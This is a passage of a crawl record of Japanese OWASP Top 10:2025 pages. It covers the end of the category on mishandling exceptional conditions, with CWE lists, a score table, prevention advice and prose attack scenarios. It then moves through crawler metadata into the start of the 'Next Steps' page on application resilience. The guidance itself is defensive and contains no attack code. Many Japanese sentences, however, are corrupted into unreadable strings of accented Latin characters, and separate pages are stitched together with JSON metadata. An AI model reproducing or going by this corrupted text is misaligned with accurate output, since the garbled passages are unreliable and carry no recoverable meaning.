ąă‚’ĺŤă‚€ă‚¨ăƒŠăƒźăƒĄăƒƒă‚ťăƒźă‚¸ăŽç”Ÿćˆ (CWE-209)ă€ĺż…é ˆăƒ‘ăƒŠăƒĄăƒźă‚żăŽĺ‡Śç†ĺ¤ąć•— (CWE-234)、不十分な特権の不適切な処理 (CWE-274)、NULLポインタ参照 (CWE-476)、および安全でない失敗処理 (CWE-636) が含まれます。\n\n## スコアテーブル (Score table.)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20.67% | 2.95% | 100.00% | 37.95% | 7.11 | 3.81 | 769,581 | 3,416 |\n\n## 説明 (Description.)\n\nソフトウェアにおける例外的な状況の不適切な取り扱いは、プログラムが異常かつ予測不能な事態を防止、検知、および応答することに失敗したときに発生し、クラッシュや予期しない挙動、そして時には脆弱性を引き起こします。これには、以下の 3 つの失敗のいずれか、または複数が関与しています。すなわち、アプリケーションが異常な状況の発生を「防止」できないこと、発生している状況を「識別」できないこと、あるいは、その状況に対して後から「応答」が不適切、あるいは全く行われないことです。\n\n例外的な状況は、入力検証の不足、不十分、または不完全さや、発生した関数ではなく上位階層で行われる遅すぎるエラー処理、あるいはメモリ、特権、ネットワークの問題といった予期せぬ環境状態、一貫性のない例外処理、あるいは例外が全く処理されずシステムが未知かつ予測不能な状態に陥ることによって引き起こされます。アプリケーションが「次の命令をどうすべきか」確信を持てなくなったときはいつでも、例外的な状況の処理に失敗しています。見つけにくいエラーや例外は、長期にわたってアプリケーション全体のセキュリティを脅かす可能性があります。\n\n例外的な状況の処理を誤ると、ロジックの不具合、オーバーフロー、競合状態 (Race conditions)ă€ä¸ć­ŁăŞĺ–ĺź•ă€ă‚ă‚‹ă„ăŻăƒĄăƒ˘ăƒŞă€çŠść…‹ă€ăƒŞă‚˝ăƒźă‚šă€ă‚żă‚¤ăƒŸăƒłă‚°ă€čŞč¨źă€ăŠă‚ˆăłčŞĺŻăŤé–˘ă™ă‚‹ĺ•éĄŒăŞăŠă€ĺ¤šăăŽç•°ăŞă‚‹ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łč„†ĺźąć€§ăŒç™şç”Ÿă™ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚ă“ă‚Œă‚‰ăŽă‚żă‚¤ăƒ—ăŽč„†ĺźąć€§ăŻă€ă‚ˇă‚šăƒ†ăƒ ăžăŸăŻăăŽăƒ‡ăƒźă‚żăŽćŠŸĺŻ†ć€§ă€ĺŻç”¨ć€§ă€ăŠă‚ˆăłĺŽŒĺ…¨ć€§ăŤć‚Şĺ˝ąéŸżă‚’ĺŠăźă™ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚ć”ťć’ƒč€…ăŻă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽćŹ é™ĽăŽă‚ă‚‹ă‚¨ăƒŠăƒźĺ‡Śç†ă‚’ć“ä˝œă—ăŚă€ă“ăŽč„†ĺźąć€§ă‚’çŞă„ăŚăăžă™ă€‚\n\n## 防止方法 (How to prevent.)\n\n例外的な状況を適切に処理するには、そのような状況を計画しておく必要があります(最悪の事態を想定 (Expect the worst) ă™ă‚‹ďź‰ă€‚ă™ăšăŚăŽă‚ˇă‚šăƒ†ăƒ ă‚¨ăƒŠăƒźă‚’ă€ăă‚ŒăŒç™şç”Ÿă—ăŸĺ ´ć‰€ă§ç›´ćŽĽă€Œă‚­ăƒŁăƒƒăƒ (Catch)ă€ă—ă€ăă‚Œă‚’ĺ‡Śç†ă—ăŞă‘ă‚Œă°ăŞă‚Šăžă›ă‚“ďźˆă¤ăžă‚Šă€ĺ•éĄŒă‚’č§Łćąşă—ă€ăăŽĺ•éĄŒă‹ă‚‰ç˘şĺŽŸăŤĺ›žĺžŠă™ă‚‹ăŸă‚ăŤć„ĺ‘łăŽă‚ă‚‹ä˝•ă‹ă‚’čĄŒă†ă“ă¨ă‚’ć„ĺ‘łă—ăžă™ďź‰ă€‚ĺ‡Śç†ăŽä¸€ç’°ă¨ă—ăŚă€ă‚¨ăƒŠăƒźă‚’ă‚šăƒ­ăƒźă™ă‚‹ă“ă¨ďźˆăƒŚăƒźă‚śăƒźăŤç†č§ŁĺŻčƒ˝ăŞć–šćł•ă§é€šçŸĽă™ă‚‹ďź‰ă€ă‚¤ăƒ™ăƒłăƒˆă‚’ăƒ­ă‚°ăŤč¨˜éŒ˛ă™ă‚‹ă“ă¨ă€ăŠă‚ˆăłć­Łĺ˝“ă§ă‚ă‚‹ă¨ĺˆ¤ć–­ă—ăŸĺ ´ĺˆăŤăŻă‚˘ăƒŠăƒźăƒˆă‚’ç™şčĄŒă™ă‚‹ă“ă¨ă‚’ĺŤă‚ă‚‹ăšăă§ă™ă€‚ăžăŸă€ä˝•ă‹ă‚’čŚ‹č˝ă¨ă—ăŸĺ ´ĺˆăŤĺ‚™ăˆăŚă€ă‚°ăƒ­ăƒźăƒăƒŤăŞäž‹ĺ¤–ăƒăƒłăƒ‰ăƒŠăƒźă‚’č¨­ç˝Žă—ăŚăŠăăšăă§ă™ă€‚ç†ćƒłçš„ăŤăŻă€çś™çśšçš„ăŞć”ťć’ƒă‚’ç¤şă™çš°ă‚Ščż”ă•ă‚Œă‚‹ă‚¨ăƒŠăƒźă‚„ăƒ‘ă‚żăƒźăƒłă‚’ç›ŁčŚ–ă—ă€ä˝•ă‚‰ă‹ăŽĺżœç­”ă€é˜˛ĺžĄă€ăžăŸăŻăƒ–ăƒ­ăƒƒă‚Żă‚’ç™şčĄŒă§ăă‚‹ă€ç›ŁčŚ– (Monitoring) または可観測性 (Observability) のツールや機能を備えることです。これは、私たちのエラー処理の弱点に焦点を当てたスクリプトやボットをブロックし、それらに応答するのに役立ちます。\n\näž‹ĺ¤–çš„ăŞçŠśćłă‚’ă‚­ăƒŁăƒƒăƒă—ăŚĺ‡Śç†ă™ă‚‹ă“ă¨ă§ă€ăƒ—ăƒ­ă‚°ăƒŠăƒ ăŽĺŸşç›¤ă¨ăŞă‚‹ă‚¤ăƒłăƒ•ăƒŠă‚šăƒˆăƒŠă‚ŻăƒăƒŁăŒäşˆć¸Źä¸čƒ˝ăŞçŠśćłăŤĺŻžĺ‡Śă—ăŸăžăžć”žç˝Žă•ă‚ŒăŞă„ă‚ˆă†ăŤă—ăžă™ă€‚ă„ă‹ăŞă‚‹ç¨ŽéĄžăŽăƒˆăƒŠăƒłă‚śă‚Żă‚ˇăƒ§ăƒłă§ă‚ăŁăŚă‚‚ă€ăăŽé€”ä¸­ă§ă‚¨ăƒŠăƒźăŒç™şç”Ÿă—ăŸĺ ´ĺˆăŻă€ăƒˆăƒŠăƒłă‚śă‚Żă‚ˇăƒ§ăƒłăŽă™ăšăŚăŽéƒ¨ĺˆ†ă‚’ăƒ­ăƒźăƒŤăƒăƒƒă‚Żă—ăŚă‚„ă‚Šç›´ă™ă“ă¨ăŒéžĺ¸¸ăŤé‡čŚă§ă™ďźˆăƒ•ă‚§ă‚¤ăƒŤă‚Żăƒ­ăƒźă‚ş (Fail closed) とも呼ばれます)。途中でトランザクションを回復しようとすると、回復不可能な間違いを犯してしまうことがよくあります。\n\n可能な限り、レート制限 (Rate limiting)、リソース制限 (Resource quotas)、スロットリング (Throttling)ă€ăŠă‚ˆăłăăŽäť–ăŽĺˆśé™ă‚’čż˝ĺŠ ă—ăŚă€ăă‚‚ăă‚‚äž‹ĺ¤–çš„ăŞçŠśćłăŒç™şç”Ÿă™ă‚‹ăŽă‚’é˜˛ă„ă§ăă ă•ă„ă€‚ćƒ…ĺ ąćŠ€čĄ“ăŤăŠă„ăŚç„Ąĺˆśé™ăŞă‚‚ăŽăŻä˝•ä¸€ă¤ă‚ăŁăŚăŻăŞă‚Šăžă›ă‚“ă€‚ăă‚ŒăŻă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽăƒŹă‚¸ăƒŞă‚¨ăƒłă‚š (Resilience)ďźˆĺ›žĺžŠĺŠ›ďź‰ăŽćŹ ĺŚ‚ă€ă‚ľăƒźăƒ“ă‚šć‹’ĺŚă€ăƒ–ăƒŤăƒźăƒˆăƒ•ă‚Šăƒźă‚šć”ťć’ƒăŽćˆĺŠŸă€ăŠă‚ˆăłčŽŤĺ¤§ăŞă‚ŻăƒŠă‚Śăƒ‰ĺˆŠç”¨ć–™ăŤçš‹ăŒă‚‹ă‹ă‚‰ă§ă™ă€‚\nç‰šĺŽšăŽăƒŹăƒźăƒˆă‚’čś…ăˆă‚‹ĺŒä¸€ăŽçš°ă‚Ščż”ă•ă‚Œă‚‹ă‚¨ăƒŠăƒźăŤă¤ă„ăŚăŻă€ăă‚Œă‚‰ăŒă„ă¤ă€ăŠăŽç¨‹ĺşŚăŽé ťĺşŚă§ç™şç”Ÿă—ăŸă‹ă‚’ç¤şă™çľąč¨ˆă¨ă—ăŚăŽăżĺ‡şĺŠ›ă™ă‚‹ă“ă¨ă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚ă“ăŽćƒ…ĺ ąăŻă€č‡Şĺ‹•ĺŒ–ă•ă‚ŒăŸăƒ­ă‚Žăƒłă‚°ă‚„ç›ŁčŚ–ă‚’ĺŚ¨ă’ăŞă„ă‚ˆă†ăŤă€ĺ…ƒăŽăƒĄăƒƒă‚ťăƒźă‚¸ăŤčż˝ĺŠ ă•ă‚Œă‚‹ăšăă§ă™ďźˆ[A09:2025 セキュリティログとアラートの不備](../A09_2025-Security_Logging_and_Alerting_Failures/) 参照)。\n\nă“ă‚ŒăŤĺŠ ăˆăŚă€ĺŽłć źăŞĺ…ĽĺŠ›ć¤œč¨źďźˆĺ—ă‘ĺ…Ľă‚ŒăŞă‘ă‚Œă°ăŞă‚‰ăŞă„ć˝œĺœ¨çš„ăŤĺąé™şăŞć–‡ĺ­—ăŤă¤ă„ăŚăŻç„ĄĺŽłĺŒ– (Sanitization) またはエスケープを行う)、および「集約された (Centralized)」エラー処理、ロギング、監視、アラート、ならびにグローバル例外ハンドラーを含めるべきです。一つのアプリケーションに例外的な状況を処理するための複数の関数を持たせるべきではなく、一箇所で、毎回同じ方法で実行されるべきです。また、このセクションのすべてのアドバイスについてプロジェクトのセキュリティ要件を作成し、プロジェクトの設計フェーズで脅威モデリング (Threat modeling) や安全な設計レビューを実施し、コードレビューや静的解析を実施し、最終的なシステムに対してストレス、パフォーマンス、およびペネトレーションテストを実行すべきです。\n\n可能であれば、組織全体で例外的な状況を同じ方法で処理すべきです。そうすることで、この重要なセキュリティ制御におけるエラーのコードレビューや監査が容易になります。\n\n## 攻撃シナリオの例 (Example attack scenarios.)\n\n**シナリオ #1:例外的な状況の誤処理によるリソースの枯渇 (サービス拒否)** ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŒăƒ•ă‚Ąă‚¤ăƒŤăŽă‚˘ăƒƒăƒ—ăƒ­ăƒźăƒ‰ć™‚ăŤäž‹ĺ¤–ă‚’ă‚­ăƒŁăƒƒăƒă™ă‚‹ă‚‚ăŽăŽă€ăăŽĺžŒăŤăƒŞă‚˝ăƒźă‚šă‚’éŠĺˆ‡ăŤč§Łć”žă—ăŞă„ĺ ´ĺˆăŤç™şç”Ÿă™ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚ć–°ă—ă„äž‹ĺ¤–ăŒç™şç”Ÿă™ă‚‹ăŸăłăŤăƒŞă‚˝ăƒźă‚šăŒăƒ­ăƒƒă‚Żă•ă‚Œă‚‹ă‹ĺˆŠç”¨ä¸ĺŻăŽăžăžăŤăŞă‚Šă€ćœ€çľ‚çš„ăŤă™ăšăŚăŽăƒŞă‚˝ăƒźă‚šăŒä˝żă„ćžœăŸă•ă‚Œăžă™ă€‚\n\n**シナリオ #2:不適切な処理またはデータベースエラーによる機密データの露出** ăƒŚăƒźă‚śăƒźăŤă‚ˇă‚šăƒ†ăƒ ăŽĺŽŒĺ…¨ăŞă‚¨ăƒŠăƒźă‚’ć˜Žă‚‰ă‹ăŤă—ăŚă—ăžă†ă‚ąăƒźă‚šă§ă™ă€‚ć”ťć’ƒč€…ăŻă€ćŠŸĺŻ†ć€§ăŽéŤ˜ă„ă‚ˇă‚šăƒ†ăƒ ćƒ…ĺ ąă‚’ĺˆŠç”¨ă—ăŚă‚ˆă‚Šĺ„Şă‚ŒăŸ SQL インジェクション攻撃を作成するために、意図的にエラーを発生させ続けます。ユーザーへのエラーメッセージに含まれる機密データは偵察 (Reconnaissance) 活動に利用されます。\n\n**シナリオ #3ďźšé‡‘čžĺ–ĺź•ăŤăŠă‘ă‚‹çŠść…‹ăŽç ´ć** ć”ťć’ƒč€…ăŒăƒăƒƒăƒˆăƒŻăƒźă‚ŻăŽä¸­ć–­ă‚’äť‹ă—ăŚĺ¤šćŽľéšŽăŽăƒˆăƒŠăƒłă‚śă‚Żă‚ˇăƒ§ăƒłă‚’ĺŚ¨ĺŽłă™ă‚‹ă“ă¨ăŤă‚ˆăŁăŚĺź•ăčľˇă“ă•ă‚Œă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚ăƒˆăƒŠăƒłă‚śă‚Żă‚ˇăƒ§ăƒłăŽé †ĺşăŒă€ŒăƒŚăƒźă‚śăƒźă‚˘ă‚Ťă‚ŚăƒłăƒˆăŽĺź•ăč˝ă¨ă—ă€ĺŽ›ĺ…ˆă‚˘ă‚Ťă‚Śăƒłăƒˆă¸ăŽĺ…Ľé‡‘ă€ăƒˆăƒŠăƒłă‚śă‚Żă‚ˇăƒ§ăƒłăŽăƒ­ă‚°č¨˜éŒ˛ă€ă§ă‚ăŁăŸă¨äťŽĺŽšă—ăžă™ă€‚é€”ä¸­ă§ă‚¨ăƒŠăƒźăŒç™şç”Ÿă—ăŸă¨ăăŤă‚ˇă‚šăƒ†ăƒ ăŒăƒˆăƒŠăƒłă‚śă‚Żă‚ˇăƒ§ăƒłĺ…¨ä˝“ă‚’éŠĺˆ‡ăŤăƒ­ăƒźăƒŤăƒăƒƒă‚Żďźˆăƒ•ă‚§ă‚¤ăƒŤă‚Żăƒ­ăƒźă‚şďź‰ă—ăŞă„ĺ ´ĺˆă€ć”ťć’ƒč€…ăŻăƒŚăƒźă‚śăƒźăŽă‚˘ă‚Ťă‚Śăƒłăƒˆă‚’ćžŻć¸‡ă•ă›ăŸă‚Šă€ă‚ă‚‹ă„ăŻć”ťć’ƒč€…ăŒĺŽ›ĺ…ˆăŤä˝•ĺşŚă‚‚é€é‡‘ă§ăăŚă—ăžă†çŤśĺˆçŠść…‹ăŒç™şç”Ÿă—ăŸă‚Šă™ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n\n## 関連資料 (References.)\n\nOWASP MASVS‑RESILIENCE\n\n- [OWASP Cheat Sheet: ロギング](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: エラー処理](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 エラー処理](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 エラー処理のテスト](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [例外に関するベストプラクティス (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [クリーンコードと例外処理の技術 (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [一般的なエラー処理規則 (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [例外的な状況の現実世界における不適切な取り扱いの例](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Insertion of Sensitive Information Into Debugging Code](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Failure to Handle Missing Parameter](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Unchecked Return Value](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Improper Handling of Insufficient Privileges](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 Divide By Zero](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Unexpected Status Code or Return Value](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaration of Catch for Generic Exception](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaration of Throws for Generic Exception](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Improper Cleanup on Thrown Exception](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Missing Default Case in Multiple Condition Expression](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Omitted Break Statement in Switch](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Server-generated Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Improper Check or Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Improper Check for Unusual or Exceptional Conditions](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 13581, "slov": 461, "odkazu": 67, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:27", "sha256": "99f191f8eb699b36104ca9930cfb571a4b5ade211851c26b2e904f4182296398", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/X01_2025-Next_Steps/", "titulek": "Next Steps - OWASP Top 10:2025", "h1": "次の一手 (Next Steps)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/X01_2025-Next_Steps/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "次の一手 (Next Steps)"}, {"uroven": 2, "text": "X01:2025 ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăƒťăƒŹă‚¸ăƒŞă‚¨ăƒłă‚šăŽćŹ ĺŚ‚ (Lack of Application Resilience)"}, {"uroven": 3, "text": "背景 (Background.)"}, {"uroven": 3, "text": "スコアテーブル (Score table.)"}, {"uroven": 3, "text": "説明 (Description.)"}, {"uroven": 3, "text": "防止方法 (How to prevent.)"}, {"uroven": 3, "text": "攻撃シナリオの例 (Example attack scenarios.)"}, {"uroven": 3, "text": "関連資料 (References.)"}, {"uroven": 3, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}, {"uroven": 2, "text": "X02:2025 メモリ管理の失敗 (Memory Management Failures)"}, {"uroven": 3, "text": "背景 (Background.)"}, {"uroven": 3, "text": "スコアテーブル (Score table.)"}, {"uroven": 3, "text": "説明 (Description.)"}, {"uroven": 3, "text": "防止方法 (How to prevent.)"}, {"uroven": 3, "text": "攻撃シナリオの例 (Example attack scenarios.)"}, {"uroven": 3, "text": "関連資料 (References.)"}, {"uroven": 3, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}, {"uroven": 2, "text": "X03:2025 AI ç”Ÿćˆă‚łăƒźăƒ‰ă¸ăŽä¸éŠĺˆ‡ăŞäżĄé ź (Inappropriate Trust in AI Generated Code) (「バイブ・コーディング (Vibe Coding)」)"}, {"uroven": 3, "text": "背景 (Background.)"}, {"uroven": 3, "text": "説明 (Description.)"}, {"uroven": 3, "text": "防止方法 (How to prevent.)"}, {"uroven": 3, "text": "関連資料 (References.)"}, {"uroven": 3, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# 次の一手 (Next Steps)\n\n設計上、OWASP Top 10 は本質的に最も重大な 10 のリスクに限定されています。すべての OWASP Top 10 において、掲載を巡って長期間検討された「僅差の (On the cusp)」リスクが存在しますが、最終的には他のリスクの方がより一般的で影響力が大きいと判断され、選外となりました。\n\n以下の 2 つの問題は、成熟したアプリケーションセキュリティプログラムを目指す組織、セキュリティコンサルタント、あるいは提供機能の網羅率を高めたいツールベンダーにとって、特定と是正に取り組む価値が十分にあるものです。\n\n## X01:2025 ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăƒťăƒŹă‚¸ăƒŞă‚¨ăƒłă‚šăŽćŹ ĺŚ‚ (Lack of Application Resilience)\n\n### 背景 (Background.)\n\nこれは 2021 年版の「サービス拒否 (Denial of Service)ă€ă‚’ć”šç§°ă—ăŸă‚‚ăŽă§ă™ă€‚ć šćœŹĺŽŸĺ› ă§ăŻăŞăç—‡çŠśă‚’čŞŹć˜Žă—ăŚă„ăŸăŸă‚ă€ĺç§°ăŒĺ¤‰ć›´ă•ă‚Œăžă—ăŸă€‚ćœŹă‚Ťăƒ†ă‚´ăƒŞăŻă€ăƒŹă‚¸ăƒŞă‚¨ăƒłă‚š (Resilience)(回復力)の問題に関連する弱点を表す CWE (共通弱点一覧) に焦点を当てています。本カテゴリのスコアリングは、「A10:2025 例外的な状況への不適切な対応」と非常に僅差でした。関連する CWE には、制御されていないリソースの消費 (CWE-400)、高度に圧縮されたデータの不適切な処理(データ増幅) (CWE-409)、制御されていない再帰 (CWE-674)、および到達不能な終了条件を持つループ(無限ループ) (CWE-835) が含まれます。\n\n### スコアテーブル (Score table.)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20.05% | 4.55% | 86.01% | 41.47% | 7.92 | 3.49 | 865,066 | 4,423 |\n\n### 説明 (Description.)\n\nćœŹă‚Ťăƒ†ă‚´ăƒŞăŻă€č˛ čˇă€éšœĺŽłă€ăŠă‚ˆăłäž‹ĺ¤–çš„ăŞă‚ąăƒźă‚šăŤĺŻžă—ăŚă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŒĺżœç­”ă™ă‚‹éš›ăŽă‚ˇă‚šăƒ†ăƒ çš„ăŞĺźąç‚šă‚’čĄ¨ă—ăŚăŠă‚Šă€ăă‚ŒăŤă‚ˆăŁăŚéšœĺŽłă‹ă‚‰ăŽĺ›žĺžŠăŒä¸ĺŻčƒ˝ăŤăŞă‚Šăžă™ă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŒäşˆćœŸă›ăŹçŠśćłă€ăƒŞă‚˝ăƒźă‚šăŽĺˆśç´„ă€ăŠă‚ˆăłăăŽäť–ăŽćœ‰ĺŽłăŞäş‹čąĄă‚’éŠĺˆ‡ăŤĺ‡Śç†ă€č€ăˆĺżăłă€ăžăŸăŻĺ›žĺžŠă§ăăŞă„ĺ ´ĺˆă€ĺ¤šăăŻĺŻç”¨ć€§ăŽĺ•éĄŒă‚’ĺź•ăčľˇă“ă—ăžă™ăŒă€ăƒ‡ăƒźă‚żăŽç ´ćă€ćŠŸĺŻ†ăƒ‡ăƒźă‚żăŽéœ˛ĺ‡şă€é€ŁéŽ–çš„ăŞĺ¤ąć•—ă€ăŠă‚ˆăłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁĺˆśĺžĄăŽăƒă‚¤ăƒ‘ă‚šă‚’ć‹›ăă“ă¨ă‚‚ă‚ă‚Šăžă™ă€‚\n\nさらに、X02:2025 メモリ管理の失敗 も、アプリケーションやシステム全体の失敗に繋がる可能性があります。\n\n### 防止方法 (How to prevent.)\n\nこの種の脆弱性を防ぐには、システムの失敗と回復を前提とした設計 (Design for failure and recovery) を行う必要があります。\n\n- 制限、リソース制限 (Quotas)、およびフェイルオーバー機能を実装してください。特にリソースを最も消費する操作に注意を払ってください。\n- リソース集約的なページを特定し、事前に対策を立ててください。攻撃面 (Attack surface) ă‚’ĺ‰Šć¸›ă—ă€ç‰šăŤćœŞçŸĽăžăŸăŻäżĄé źă§ăăŞă„ăƒŚăƒźă‚śăƒźăŤĺŻžă—ăŚă€ĺ¤§é‡ăŽăƒŞă‚˝ăƒźă‚šďźˆCPU、メモリ等)を必要とする不要な「ガジェット (Gadgets)」や機能を露出させないでください。\n- 許可リスト (Allow-lists) ă¨ă‚ľă‚¤ă‚şĺˆśé™ă‚’ç”¨ă„ăŸĺŽłć źăŞĺ…ĽĺŠ›ć¤œč¨źă‚’ĺŽŸć–˝ă—ă€ĺžšĺş•çš„ăŤăƒ†ă‚šăƒˆă—ăŚăă ă•ă„ă€‚\n- レスポンスのサイズを制限し、生のレスポンスをクライアントに返さないでください(サーバー側で処理してください)。\n- デフォルトで「安全/閉鎖 (Safe/closed)」の状態にし、デフォルトで拒否 (Deny by default) ă—ă€ă‚¨ăƒŠăƒźăŒç™şç”Ÿă—ăŸĺ ´ĺˆăŻăƒ­ăƒźăƒŤăƒăƒƒă‚Żă—ăŚăă ă•ă„ă€‚\n- リクエストスレッド内でのブロッキング同期呼び出しを避けてください(非同期/ノンブロッキングの利用、タイムアウト、同時実行制限の設定等を行ってください)。\n- エラー処理機能を慎重にテストしてください。\n- サーキットブレーカー (Circuit breakers)、バルクヘッド (Bulkheads)、リトライロジック、および緩やかな機能低下 (Graceful degradation) などのレジリエンスパターンを実装してください。\n- ăƒ‘ăƒ•ă‚Šăƒźăƒžăƒłă‚šăŠă‚ˆăłč˛ čˇăƒ†ă‚šăƒˆă‚’ĺŽŸć–˝ă—ăŚăă ă•ă„ă€‚ăƒŞă‚šă‚Żč¨ąĺŽšĺşŚăŒă‚ă‚‹ĺ ´ĺˆăŻă‚Ťă‚Şă‚šă‚¨ăƒłă‚¸ăƒ‹ă‚˘ăƒŞăƒłă‚° (Chaos engineering) も検討してください。\n- 合理的で許容可能な範囲で、冗長性を考慮した実装とアーキテクチャを採用してください。\n- 監視 (Monitoring)、可観測性 (Observability)、およびアラート (Alerting) を実装してください。\n- RFC 2267 ăŤćş–ć‹ ă—ăŚă€ç„ĄĺŠšăŞé€äżĄĺ…ƒă‚˘ăƒ‰ăƒŹă‚šă‚’ăƒ•ă‚ŁăƒŤă‚żăƒŞăƒłă‚°ă—ăŚăă ă•ă„ă€‚\n- フィンガープリント、IP、または挙動による動的な解析を用いて、既知のボットネットをブロックしてください。\n- 